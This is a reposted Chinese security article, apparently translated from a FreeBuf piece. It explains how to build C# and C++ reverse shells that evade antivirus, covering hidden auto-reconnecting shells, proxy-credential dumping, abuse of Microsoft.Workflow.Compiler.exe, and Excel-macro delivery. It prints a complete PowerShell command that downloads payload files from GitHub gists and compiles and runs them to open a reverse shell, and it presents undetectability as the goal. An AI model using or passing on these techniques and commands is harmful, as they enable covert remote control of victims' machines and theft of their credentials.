技术分享 | 教你如何开发不可检测的C#、C++反向Shell

栏目: C++ · 发布时间: 5年前

内容简介:在这篇文章中,我将跟大家分享如何利用C#和C++来开发反病毒产品无法检测到的反向Shell。GitHub上有很多能够通过cmd.exe打开反向Shell的C#代码样本。在这篇文章中,我会从GitHub上借鉴部分代码,然后用到了下面这个C#程序中。这个程序不能绕过AV,没有混淆代码,它能做的只有“在目标设备上打开socket,启动cmd.exe”:

在这篇文章中,我将跟大家分享如何利用C#和C++来开发反病毒产品无法检测到的反向Shell。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

简单的C#反向Shell

GitHub上有很多能够通过cmd.exe打开反向 Shell 的C#代码样本。在这篇文章中,我会从GitHub上借鉴部分代码,然后用到了下面这个C#程序中。这个程序不能绕过AV,没有混淆代码,它能做的只有“在目标设备上打开socket,启动cmd.exe”:

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

源码链接:【 GitHub传送门

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

我用netcat开启了监听模式(端口443),然后编译并执行我的代码。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

你可以看到,.exe文件通过了Windows Defender的检测,说明从AV的角度来看,它不会执行任何恶意操作,这也是正常的扫描结果。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

执行文件之后,你将会看到命令行窗口,关闭窗口之后Shell也就终止运行了。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

运行exe文件之后,会直接在我的Kali上生成Shell。

VirusTotal检测结果

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

检测报告:【 点我获取

C++反向Shell+一定程度的持续感染

搜索片刻之后,我发现了一份有类似反向Shell功能的 C++代码 。而且我还找到了 @NinjaParanoid 的代码,他的代码可以开启一个反向Shell,而且还有一定的持续感染特性【 参考资料 】。

这个脚本有三个主要优势:

1、 while循环可以每5秒尝试重连一次;
2、 不可见的cmd实例;
3、 如果标准攻击者IP发生变化,可自动获取新参数;

技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell

这份代码所要做的事情游走于“恶意”与“合法”之间,但是Windows Defender检测为“无威胁”。当你运行这个文件之后,Shell将会在5秒钟之后以“静默模式”打开。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

对于用户来说,屏幕上啥也不会出现,但如果出现了问题,后台进程每5秒就会尝试自动重连我的Kali。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

VirusTotal检测结果

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

检测报告:【 点我获取

使用代理凭证通过网络开启C#反向Shell

在研究如何利用代理凭证并通过互联网从一个内部企业网络中打开反向Shell时,我开发出了下列代码:

1、 结合peewpw脚本在没有管理员权限的情况下从凭证管理器中导出代理凭证;
2、 对导出的凭证进行Base64编码;
3、 将它们插入到代理认证链接中;

技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell

在编译代码之前,你需要目标企业网络开启代理IP/端口。出于安全考虑,我不会直接发布源码,如果你有一点编程能力的话,我相信你可以自己搞定。

观察之后我发现,这种攻击的失败率非常高,因为目标用户可能不会在凭证管理器中存储域凭证。

当然了,Windows Defender和其他企业级AV解决方案都无法检测这种攻击方式。

通过C#与Microsoft.Workflow.Compiler.exe即时编译打开反向Shell

在研究过程中,我找到了几篇关于如何在Microsoft.Workflow.Compiler.exe中执行任意未签名代码的文章,所以我想用这种技术来开启我的反向Shell(C#)。简而言之,为了即时编译我的C#代码,我需要使用到Microsoft.Workflow.Compiler.exe服务。下面是命令样本:

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

REV.txt的XOML结构如下:

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

下图中包含待编译C#代码的原始结构(Rev.Shell代码):

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

运行命令之后,会发生下面几件事情:

1、 非无文件型:C#源代码需要从Rev.Shell文件中获取;
2、 无文件型:C# Payload会被编译并执行;
3、 无文件型:Payload开启反向Shell;

技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell

通过PowerShell和实时编译C#开启反向Shell

这都很简单,直接把文件交给Microsoft.Workflow.Compiler.exe来编译,那我们为什么不用PowerShell来实现呢?请看:

powershell-command "& { (New-ObjectNet.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt','.\REV.txt') }" && powershell -command "& { (New-ObjectNet.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell','.\Rev.Shell') }" &&C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exeREV.txt Rev.Shell

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

运行命令之后,PS将会下载上述的两份文件,然后存储在文件系统中。接下来,它们会使用Microsoft.Workflow.Compiler.exe来实时编译C#代码,并开启反向Shell。

PowerShell命令:【 点我获取

REV.txt代码:【 点我获取

Rev.Shell代码:【 点我获取

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

通过Excel宏、PowerShell和C#实时编译开启反向Shell

现在,我想尝试把之前的PowerShell代码注入到宏文件中,你猜怎么着?

这个Excel文件并不会被检测为恶意文件,而且能够在不触发任何警报的情况下打开反向Shell。

技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell 技术分享 | 教你如何开发不可检测的C#、C++反向Shell

VirusTotal检测结果

技术分享 | 教你如何开发不可检测的C#、C++反向Shell

检测报告:【 点我获取

总结

虽然打开反向Shell的方式有很多种,但是这篇文章主要的目标是绕过反病毒产品的检测。而前两种Shell是目前市场上所有AV都无法检测到的。

*参考来源: medium ,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法精解

算法精解

Kyle Loudon / 肖翔、陈舸 / 机械工业出版社 / 2012-8 / 79.00元

本书是数据结构和算法领域的经典之作,十余年来,畅销不衰!全书共分为三部分:第一部分首先介绍了数据结构和算法的概念,以及使用它们的原因和意义,然后讲解了数据结构和算法中最常用的技术——指针和递归,最后还介绍了算法的分析方法,旨在为读者学习这本书打下坚实的基础;第二部分对链表、栈、队列、集合、哈希表、堆、图等常用数据结构进行了深入阐述;第三部分对排序、搜索数值计算、数据压缩、数据加密、图算法、几何算法......一起来看看 《算法精解》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具